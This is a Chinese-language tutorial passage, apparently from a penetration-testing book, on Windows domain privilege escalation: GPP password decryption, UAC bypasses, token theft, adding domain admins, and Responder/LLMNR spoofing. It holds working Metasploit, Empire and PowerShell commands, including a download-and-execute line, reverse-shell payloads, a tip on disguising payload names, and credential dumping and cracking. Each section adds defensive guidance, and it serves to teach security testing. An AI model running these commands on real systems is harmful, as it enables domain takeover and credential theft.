命令,然后按Tab
键,查看PowerUp
的模块列表。
AIIChecks
模块用于查找系统中的漏洞。AllChecks
模块可用于执行脚本、检查系统漏洞。
usemodule privesc/powerup/allchecks
execute
AllChecks
模块的应用对象如下:
- 没有被引号引起来的服务的路径
ACL
配置错误的服务(攻击者通常通过service_*
利用它)- 服务的可执行文件的权限设置不当(攻击者通常通过
service_exe_*
利用它) Unattend.xml
文件- 注册表键
AlwaysInstallElevated
- 如果有
Autologon
凭证,都会留在注册表中 - 加密的
web.config
字符串和应用程序池的密码。 %PATH%.DLL
的劫持机会(攻击者通常通过write_dllhijacker
利用它)
4.3 组策略首选项提权分析及防范
4.3.1 组策略首选项提权简介
SYSVOL
是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL
文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。SYSVOL
在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享,整个SYSVOL
目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在以下目录中。
C:\Windows\SYSVOL\DOMAIN\Policies\
在一般的域环境中,所有机器都是脚本化批量部署的,数据量通常很大。为了方便地对所有的机器进行操作,网络管理员往往会使用域策略进行统一的配置和管理。大多数组织在创建域环境后,会要求加人域的计算机使用域用户密码进行登录验证。为了保证本地管理员密码的安全性,这些组织的网络管理员往往会修改本地管理员密码。尽管如此,安全问题依旧存在。通过组策略统一修改的密码,虽然强度有所提高,但所有机器的本地管理员密码是相同的。攻击者获得了一台机器的本地管理员密码,就相当于获得了整个域中所有机器的本地管理员密码。
常见的组策略首选项(Group Policy Preferences,GPP
)如下:
- 映射驱动器(
Drives.xml
) - 创建本地用户
- 数据源(
DataSources.xml
) - 打印机配置(
Printers.xml
) - 创建/更新服务(
Services.xml
) - 计划任务(
ScheduledTasks.xml
)
4.3.2 组策略首选项提权分析
1. 创建组策略
Win + R
运行 gpedit.msc
(windows2003
的话就是dsa.msc
),右键组策略对象新建test:
之后编辑,选择更新内置的administrator密码,不过测试下来本地管理员账户密码并没有被修改,刷新策略也没用,暂未找到原因,有了解的大哥可以指点一下。
2. 获取组策略凭据
管理员在域中新建一个组策略后,操作系统会自动在 SYSVOL
共享目录中生成一个 XML
文件,该文件中保存了该组策略更新后的密码。该密码使用AES-256
加密算法,安全性还是比较高的。但是,2012年微软在官方网站上公布了该密码的私钥,导致保存在XML
文件中的密码的安全性大大降低。任何域用户和域信任的用户均可对该共享目标进行访问,这就意味着,任何用户都可以访问保存在 XML
文件中的密码并将其解密,从而控制域中所有使用该账户/密码的本地管理员计算机。在 SYSVOL
中搜索,可以找到包含 cpassword
的 XML 文件。
2.1 手动查找
远程连接共享查看:
type \\192.168.2.20\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
对cpassword
字段解密:
# kali自带工具
gpp-decrypt 7ud2rxJhwxT5iaNrNltLxTsE79YZ9JxpZ3rL7k9HJQ0
使用ruby
脚本解密也可以,repo:https://github.com/SevenC-base/PostExploitation/tree/master/windows/%E7%BB%84%E7%AD%96%E7%95%A5%E6%8F%90%E6%9D%83%E8%A7%A3%E5%AF%86%E8%84%9A%E6%9C%AC
2.2 借助PowerSploit
的脚本Get-GPPPassword.ps1
repo:https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
# 远程加载,会被 Windows defender 查杀
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"
# 本地执行
Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
2.3 借助 metasploit
use post/windows/gather/credentials/gpp
set session 1
run
2.5 借助Empire
模块privesc/gpp
usemodule privesc/gpp
除了 Groups.xml
,还有几个组策略首选项文件中有可选的 cpassword
属性,列举如下:
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml
4.4.3 针对组策略首选项提权的防御
在用于管理组策略的计算机上安装 KB2962486
补丁,防止新的凭据被放置在组策略首选项中。微软在2014年修复了组策略首选项提权漏洞,使用的方法就是不再将密码保存在组策略首选项中。此外,需要对Everyone 访问权限进行设置,具体如下:
- 设置共享文件夹
SYSVOL
的访问权限。 - 将包含组策略密码的
XML
文件从SYSVOL
目录中删除。 - 不要把密码放在所有域用户都有权访问的文件中。
- 如果需要更改域中机器的本地管理员密码,建议使用
LAPS
。
4.4 绕过UAC 提权分析及防范
如果计算机的操作系统版本是Windows Vista
或更高,在权限不够的情况下,访问系统磁盘的根目录(例如C:\\Windows
目录、Program Files
目录,以及读、写系统登录数据库(Registry
)的程序等操作,都需要经过 UAC
(User Account Control
,用户账户控制)的认证才能进行。
4.4.1 UAC简介
UAC
是微软为提高系统安全性在Windows Vista
中引人的技术。UAC
要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC
在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。
在 Windows Vista
及更高版本的操作系统中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。
需要UAC
的授权才能进行的操作列举如下:
- 配置
Windows Update
- 增加/删除账户。
- 更改账户类型。
- 更改
UAC
的设置。 - 安装
ActiveX
。 - 安装/卸载程序。
- 安装设备驱动程序。
- 将文件移动/复制到
Program Files
或Windows
目录下。 - 查看其他用户的文件夹。
UAC
有如下四种设置要求:
- 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户。
- 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要
使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提
示本地用户。 - 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,
但在提示用户时不降低桌面的亮度。 - 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行。
4.4.2 BypassUAC
模块
在使用bypassuac
模块进行提权时,当前用户必须在管理员组中,且UAC
必须为默认设置(即“仅在程序试图更改我的计算机时通知我”)。当bypassuac
模块运行时,会在目标机器上创建多个文件,这些文件会被杀毒软件识别。但因为 exploit/windows/local/bypassuac_injection
模块直接运行在内存的反射DLL
中(此模块通过内存注入使用可信任的发布者证书绕过UAC(该模块需要选择正确的体系架构)),所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。Metasploit
框架没有提供针对Windows 8
的渗透测试模块。
原理:此模块通过进程注入获得证书,并利用受信任的发布服务器绕过Windows UAC
。
# 使用injection模块
use exploit/windows/local/bypassuac_injection
# 不设置的话会报错,执行不成功
set payload windows/x64/meterpreter/reverse_tcp
# 设置目标系统架构
set target 1
set session 1
bypassuac_injection
模块支持x86
和x64
版本的Windows 8、8.1、10_1511、10_1607、10_1703
。如果不设置payload
会报错如下:Exploit aborted due to failure: bad-config: x86 Target Selected for x64 System
,其实架构选择没问题。
提权对比:
4.4.3 RunAs
模块
前提:要想使用 RunAs
模块进行提权,当前用户必须在管理员组中或者知道管理员的密码,对UAC
的设置则没有要求。
原理:This module will attempt to elevate execution level using the ShellExecute undocumented RunAs flag to bypass low UAC settings.
使用exploit/windows/local/ask
模块,创建一个可执行文件,目标机器会运行一个发起提升权限请求的程序(位置:C:\Users\用户名\AppData\Local\Temp\MdIXXegVjPf.exe
),提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的meterpreter Shell
。
session 6
是返回高权限的shell
,使用getsystem
即可获取最高权限,可以对比session 5
正常获取的shell
是获取不到system
权限的。
要点:
- 在使用
RunAs
模块时,需要使用EXE::Custom
选项创建一个可执行文件(需进行免杀处理)。 - 随机的命名可能会引起怀疑,可以设置为
Firefox.exe,Chrome.exe,WindowsUpdate.exe
之类的。
set filename Firefox.exe
set path C:\\Users\\test\\Desktop
set exe::custom /root/miansha.exe
4.4.4 Nishang
中的Invoke-PsUACme
Invoke-PsUACme
模块使用来自UACME
项目的DLL
绕过UAC
。影像版本涉及Windows 7/2008/8/2012/Vista X86/64
版本。Win 10
自带的wsua
程序由于不再支持/extract
释放命令了,故不再适用。repo:https://github.com/dowdyph0/UACME
参数说明:
# 使用 Sysprep方法并执行默认的 Payload
powershell -nop -exec bypass -c "& {Import-Module .\Invoke-PsUACme.ps1; Invoke-PsUACme -Verbose}"
# 使用oobe方法并执行默认的Payload
powershell -nop -exec bypass -c "& {Import-Module .\Invoke-PsUACme.ps1; Invoke-PsUACme -method oobe -Verbose}"
# 使用-Payload参数,可以自行指定要执行的 Payload
powershell -nop -exec bypass -c "& {Import-Module .\Invoke-PsUACme.ps1; Invoke-PsUACme -method oobe -Payload 'powershell -windowstyle hidden -e YourEncodedPayload'}"
参数说明:
Payload
要bypass
的载荷method
bypass
所使用的方法,默认是sysprep
PayloadPath
指定Payload
的路径。CustomD1164
(64位)可以自定义64位DLL
文件CustomDLL32
(32位)可以自定义32位DLL
文件$DllBytes64
脚本中硬编码的默认 64 位DLL
$DllBytes32
脚本中硬编码的默认 32 位DLL
除了上述说的sysprep
方法,还有以下方法:sysprep、oobe、ActionQueue、migwiz、cliconfg、winsat、mmc
。
正常情况下whoami /all
:
提权成功运行结果:
4.4.5 Empire
中的 BypassUAC
模块
1. bypassuac
在 Empire
中输入usemodule powershell/privesc/bypassuac
命令,设置监听器的参数。执行execute
命令,得到一个新的反弹 Shell
,带星号的 agents
就是提权成功:
2. bypassuac_wscript
该模块的大致工作原理是,使用C:\Windows\wscript.exe
执行Payload
,即绕过UAC
,以管理员权限执行Payload
。该模块只适用于操作系统为Windows7
的机器,尚没有对应的补丁,部分杀毒软件会对该模块的运行进行提示。
interact 42NUDT5B
usemodule privesc/bypassuac_wscript
set Listener test
run
4.4.6 针对UAC
提权的防御分析
在企业网络环境中,防止绕过 UAC
的最好的方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。在家庭网络环境中,建议使用非管理员权限进行日常办公和娱乐等活动。使用本地管理员权限登录的用户,要将 UAC
设置为“始终通知”或者删除该用户的本地管理员权限(这样设置后,会像在Windows Vista
中一样,总是弹出警告)。另外,可以使用微软的EMET
或MalwareBytes
来更好地防范0day
漏洞。
对于DLL
劫持BypassUAC
来说,可以重命名或删除Mcx2Prov.exe、 sysprep.exe、 cliconfg.exe、pwcreator.exe
等可执行文件。
4.5 令牌窃取分析及防范
令牌(Token
)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的。获得了令牌,就可以在不提供密码或其他凭证的情况下访问网络和系统资源。这些令牌将持续存在于系统中(除非系统重新启动)。
令牌的最大特点是随机性和不可预测性。一般的攻击者或软件都无法将令牌猜测出来。访问令牌(Access Token)代表访问控制操作主体的系统对象。密保令牌(Security Tolten
)也叫作认证令牌或者硬件令牌,是一种用于实现计算机身份校验的物理设备,例如U盾。会话令牌(Session Token)是交互会话中唯一的身份标识符。
伪造令牌攻击的核心是Kerberos
协议。Kerberos
是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos
协议的工作机制如下:
客户端请求证书的过程如下:
- 客户端向认证服务器发送请求,要求得到证书。
- 认证服务器收到请求后,将包含客户端密钥的加密证书发送给客户端。该证书包含服务器
Ticket(包含由服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话
密钥,Session Key )。当然,认证服务器也会向服务器发送一份该证书,使服务器能够验证登录的
客户端的身份。 - 客户端将 Ticket 传送给服务器。如果服务器确认该客户端的身份,就允许它登录服务器。
客户端登录服务器后,攻击者就能通过人侵服务器来窃取客户端的令牌。
4.5.1 令牌窃取
假设已经获得了目标机器的 meterpreter Shell
。首先输入use incognito
命令,然后输入list_tokens -u
命令,列出可用的令牌:
Windows
有两种类型的令牌:
Delegation Tokens
授权令牌,它支持交互式登录(例如,可以通过远程桌面登录及访问);
Impersonation Tokens
模拟令牌,它支持非交互式的会话。
令牌的数量其实取决于 meterpreter Shell
的访问级别。假设已经获得了一个系统管理员的授权令牌,如果攻击者可以伪造这个令牌,便可以拥有它的权限。两种token
只在系统重启后清除,具有Delegation token
的用户在注销后,该Token
将变成Impersonation token
,依旧有效。
注意:在输人主机名\用户名
时,需要输人两个反斜杠\\
。
# 首先要提权
use exploit/windows/local/bypassuac
set session 2
run
# 加载伪装模块
use incognito
# 列出可用令牌
list_tokens -u
# 恢复权限
rev2self
4.5.2 Rotten Potato
本地提权分析
如果目标系统中存在有效的令牌,可以通过Rotten Potato
程序快速模拟用户令牌来实现权限的提升。
repo:https://github.com/foxglovesec/RottenPotato
# 加载模块
use incognito
# 列出可用令牌
list_tokens -u
# 上传烂土豆
upload /root/RottenPotato/rottenpotato.exe
# 执行
execuce -HC -f rottenpotato.exe
# 窃取token
impersonate_token "NT AUTHORITY\\SYSTEM"
4.5.3 添加域管理员
假设网络中设置了域管理进程,在 meterpreter
会话窗口中输人ps
命令,查看系统进程。找到域管理进程,并使用migrate
命令迁移到该进程。在 meterpreter
控制台中输入shell
,进入命令行界面。输入如下命令:
# 查看域管理员的进程
ps
# 迁移进程
migrate <域管理员进程>
# 添加域用户
net user test01 qqq@111 /add /domain
# 添加到管理员组
net group "domain admins" test01 /add /domain
# 查看域管理员
net group "domain admins" /domain
同样,在 meterpreter
中可以使用 incognito
来模拟域管理员,然后通过迭代系统中所有可用的身份验证令牌来添加域管理员。在活动的 meterpreter
会话中执行如下命令,在域控主机上添加一个账户。
add_user test01 qqq@111 -h 192.168.2.26
add_group_user "Domain Admins" test01 -h 192.168.2.26
4.5.4 Empire
下的令牌窃取
在Empire
下获取服务器权限后,可以使用内置的 mimikatz
工具获取系统密码。运行 mimikatz
,输入creds
命令,即可查看 Empire
列举出来的密码:
usemodule privesc/bypassuac
set Listener test
run
mimikatz
creds
使用pth<ID>
命令(这里的ID就是creds
下的 CredID
),窃取身份令牌。
使用 ps
命令查看当前是否有域用户的进程正在运行,当前存在域用户的进程。选择名称为 exploere
、PID
为 2496 的进程:
# 获取这个令牌
steal_token
# 恢复令牌的权限
revtoself
4.5.5 针对令牌窃取提权的防御分析
针对令牌窃取提权的防御措施如下。
- 及时安装微软推送的补丁。
- 对来路不明的或者有危险的软件,既不要在系统中使用,也不要在虚拟机中使用。
- 对令牌的时效性进行限制,以防止散列值被破解后泄露有效的令牌信息。越敏感的数据,其令牌时效应该越短。如果每个操作都使用独立的令牌,就可以比较容易地定位泄露令牌的操作或环节。
- 对于令牌,应采取加密存储及多重验证保护。
- 使用加密链路
SSL/TLS
传输令牌,以防止被中间人窃听。
4.6 无凭证条件下的权限分析及防范
在本节的实验中,假设已经进人目标网络,但没有获得任何凭证,使用LLMNR
和 NetBIOS
欺骗攻击对目标网络进行渗透测试。
4.6.1 LLMNR
和NetBIOS
欺骗攻击的基本概念
1. LLMNR
本地链路多播名称解析(LLMNR—Link-Local Multicast Name Resolution
)是一种域名系统数据包格式。当局域网中的 DNS
服务器不可用时,DNS
客户端会使用LLMNR
解析本地网段中机器的名称,直到DNS
服务器恢复正常为止。从 Windows Vista
版本开始支持 LLMNR
。LLMNR
支持 IPv6
。
LLMNR
的工作流程如下。
DNS
客户端在自己的内部名称缓存中查询名称。- 如果没有找到,主机将向主
DNS
发送名称查询请求。 - 如果主
DNS
没有回应或者收到了错误的信息,主机会向备DNS
发送查询请求。 - 如果备
DNS
没有回应或者收到了错误的信息,将使用LLMNR
进行解析。 - 主机通过
UDP
协议向组播地址224.0.0.252
的5355
端口发送多播查询请求,以获取主机名所对应的IP
地址。查询范围仅限于本地子网。 - 本地子网中所有支持
LLMNR
的主机在收到查询请求后,会对比自己的主机名。如果不同,就丢弃;如果相同,就向查询主机发送包含自己IP
地址的单播信息。
2. NetBIOS
NetBIOS
是一种网络协议,一般用在由十几台计算机组成的局域网中(根据NetBIOS
协议广播获得计算机名称,并将其解析为相应的 IP
地址)。在 Windows NT
以后版本的所有操作系统中均可使用NetBIOS
。但是,NetBIOS
不支持IPv6
。
NetBIOS
提供的三种服务如下:
NetBIOS-NS
(名称服务):主要用于名称注册和解析,以启动会话和分发数据报。该服务需要使用域名服务器来注册NetBIOS
的名称。默认监听UDP
137端口,也可以使用TCP
137 端口。Datagram Distribution Service
(数据报分发服务):无连接服务。该服务负责进行错误检测和恢复,默认监听UDP
138 端口。Session Service
(会话服务):允许两台计算机建立连接,允许电子邮件跨越多个数据包进行传输,提供错误检测和恢复机制。默认使用TCP
139端口。
3. Net-NTLM Hash
Net-NTLM Hash
与NTLM Hash
不同。
NTLM Hash
是指Windows
操作系统的Security Account Manager
中保存的用户密码散列值。NTLM Hash
通常保存在Windows
的SAM
文件或者NTDS.DIT
数据库中,用于对访问资源的用户进行身份验证。
Net-NTLM Hash
是指在网络环境中经过 NTLM
认证的散列值。挑战/响应验证中的“响应”就包含Net-NTLM Hash
。使用Responder
抓取的通常就是Net-NTLM Hash
。攻击者无法使用该散列值进行哈希传递攻击,只能在使用Hashcat
等工具得到明文后进行横向移动攻击。
4.6.2 LLMNR
和NetBIOS
欺骗攻击分析
假设目标网络的DNS
服务器因发生故障而无法提供服务时,会退回LLMNR
和NBT-NS
进行计算机名解析。下面使用Responder
工具进行渗透测试。Responder
是监听LLMNR
和NBT-NS
协议的工具之一,能够抓取网络中所有的LLMNR
和NBT-NS
请求并进行响应,获取最初的账户凭证。Responder
可以利用内置SMB
认证服务器、MSSQL
认证服务器、HTTP
认证服务器、HTTPS
认证服务器、LDAP
认证服务器、DNS
服务器、WPAD
代理服务器,以及 FTP
、POP3
、IMAP
、SMTP
等服务器,收集目标网络中计算机的凭据,还可以通过 Multi-Relay
功能在目标系统中执行命令。
NetBIOS
是从 Windows 2000
开始启用的,LLNNR
是作为 windows Vista
以上的系统开始启用的协议,还有就是 NetBIOS
是Windows进行通信的API,LLMNR是网络协议,但是两者主要功能是一样的。在系统进行名称解析会进行以下的步骤:
- 检查以确认请求是否针对本地计算机名称。
- 检查最近成功解析的名称的本地缓存。
- 搜索本地hosts文件当中解析。
- 查询 DNS 服务器。
- 如果启用了 LLMNR,则在本地子网中广播 LLMNR 查询以请求其对等方进行解析。
- 如果启用了 NetBIOS,如果名称不在本地 NetBIOS 缓存中,则尝试通过向本地子网广播 NetBIOS-NS 查询来解析 NetBIOS 名称。如果这样配置,此步骤可能会使用 Windows Internet 名称服务 (WINS) 服务器以及 LAN 管理器主机 (LMHOSTS) 文件。
WPAD:
Web 代理自动发现 (WPAD) 协议是组织允许员工通过代理服务器访问互联网,以提高性能、确保安全和跟踪流量。连接到公司网络的用户需要知道特定 URL 的代理服务器,客户端使用 DHCP 和/或 DNS 发现方法来定位配置文件的 URL 的一种方法。 一旦配置文件的检测和下载完成,就可以执行它来确定指定 URL 的代理。在IE在网络设置打勾就表示启用了wpad,默认是不开启的,但是在 Windows 10 中WPAD 默认是启用的。
1.下载和运行
Responder
是使用Python
语言编写的,repo
:https://github.com/lgandx/Responder
2. 监听模式
进人目标网络后,如果没有获得任何目标系统的相关信息和重要凭证,可以开启 Responder
的监听模式。Responder
只会对网络中的流量进行分析,不会主动响应任何请求。使用Responder
查看网络是如何在没有主动定位任何主机的情况下运行的,如图所示:
# kali执行
responder -I eth0 --lm -Pv
ON
代表针对该服务数据包的监听,OFF
代表关闭监听。由此可以分析出网络中存在的IP
地址段、机器名等。
3. 渗透测试
在使用 Responder
对网络进行分析之后,可以利用SMB
协议获取目标网络中计算机的Net-NTLM Hash
。如果用户输入了错误的计算机名,在DNS
服务器上进行的名称查询操作将会失败,名称解析请求将被退回,使用NBT-NS
和LLMNR
进行解析。
在渗透测试中,使用Responder
并启动回应请求功能,Responder
会自动回应客户端的请求并声明自己就是被输入了错误计算机名的那台机器,然后尝试建立SMB
连接。客户端会发送自己的 Net-NTLM Hash
进行身份验证,此时将得到目标机器的 Net-NTLM Hash
,如图所示:
Windows 7 访问共享服务:
可以看到访问之后抓取到认证凭据:
保存凭据为hash.txt,使用hashcat进行爆破:
# 成功爆破出密码为123
hashcat -m 5600 hash.txt passwd.txt
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。